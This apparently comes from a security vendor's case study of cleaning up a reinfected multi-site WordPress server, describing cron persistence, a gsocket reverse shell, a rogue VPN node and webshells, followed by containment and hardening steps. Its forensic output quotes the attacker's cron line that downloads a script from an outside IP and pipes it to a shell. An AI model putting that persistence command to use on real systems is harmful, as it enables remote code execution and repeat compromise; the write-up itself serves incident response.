The situation

An agency running dozens of client WordPress sites on a single Linux VPS contacted us after repeated clean-ups failed. A security plugin reported the sites as clean, yet within minutes injected files reappeared, visitors were redirected, and the host was threatening suspension.

Every previous attempt had treated the symptoms: infected files were deleted, plugins updated, passwords changed. The malware kept coming back because nobody had looked below WordPress.

The investigation

We connected over SSH, deployed the PatientZero scan engine and ran a dfir-fast forensic scan across every site on the server. Within minutes the timeline showed what the plugin could not see:

# crontab -l -u www-data
*/1 * * * * curl -s hxxp://203.0.113.24/x | sh >/dev/null 2>&1
# listening / outbound sockets
gs-netcat  -> 198.51.100.7   (gsocket reverse shell)
# network interfaces
tailscale0 100.x.x.x  (node not owned by the agency)
# webshell kits
wp-content/uploads/2026/08/.cache.php   ALFA
wp-content/uploads/2026/07/about.php    KINGSMAN
  • Cron persistence: a job under the web user re-downloaded and ran the payload every 60 seconds, which is why deleted files reappeared.
  • Reverse shell: a gsocket client gave the attacker an interactive shell that bypassed the firewall.
  • Rogue VPN node: an unauthorised Tailscale node provided a private route back onto the server.
  • Webshell kits: ALFA and KINGSMAN shells hidden in upload folders across several sites, plus rogue WordPress administrators.

The clean-up

Order matters. Removing files first would have triggered the cron job to put them back, and tipped off the attacker. We contained first, then cleaned:

  1. Contain. Snapshot for evidence, block the outbound command-and-control addresses, stop the gsocket process and remove the rogue Tailscale node.
  2. Remove persistence. Delete the malicious cron entries, check systemd units and startup scripts, and remove unauthorised SSH keys.
  3. Quarantine. Move every webshell to the evidence vault with SHA-256 hashes, and remove rogue WordPress admins.
  4. Restore. Reinstall WordPress core from checksummed sources, recover overwritten wp-config.php database connections and verify every site loads.
  5. Rotate. New database, hosting, SSH and admin credentials, and fresh WordPress salts.

Hardening and outcome

We then applied our Harden playbooks: PHP execution blocked in upload directories, per-site PHP-FPM pools, SSH restricted to keys with no root login, a default-deny firewall and a full WordPress admin audit.

After the clean-up there were no further re-infections. Every site was verified online and the agency received a plain-English executive summary for their clients, plus the full technical report and evidence package.

The lesson: if malware keeps coming back, something is putting it back. Find the persistence, and you find patient zero.